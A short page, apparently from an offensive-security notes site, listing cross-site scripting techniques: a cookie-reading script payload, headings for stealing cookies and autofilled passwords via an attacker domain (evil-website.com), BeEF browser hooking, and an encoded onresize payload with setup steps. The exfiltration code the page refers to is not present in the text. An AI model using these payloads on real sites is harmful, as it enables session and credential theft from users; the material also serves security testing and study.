github编辑

XSS

HTML Context

<script>alert(document.cookie)</script>

XSS Exploit

Replace evil-website.com in the code with the actual domain

Steal Password

  • Only for users who have enabled autofill passwords

  • Replace evil-website.com in the code with the actual domain

Hook Browser (beef)

Experiment

onresize event (GET)

  • You need to start an HTTP service for the victim to access

  • Replace vulnerable-website.com in the code with the actual domain

  • Replace <xss-parameter> in the code with the actual parameter.

  • Replace <%3Cbody%20onresize=%22print()%22%3E> in the code with the actual payload.

    • The decoded value is x <body onresize="print()">

最后更新于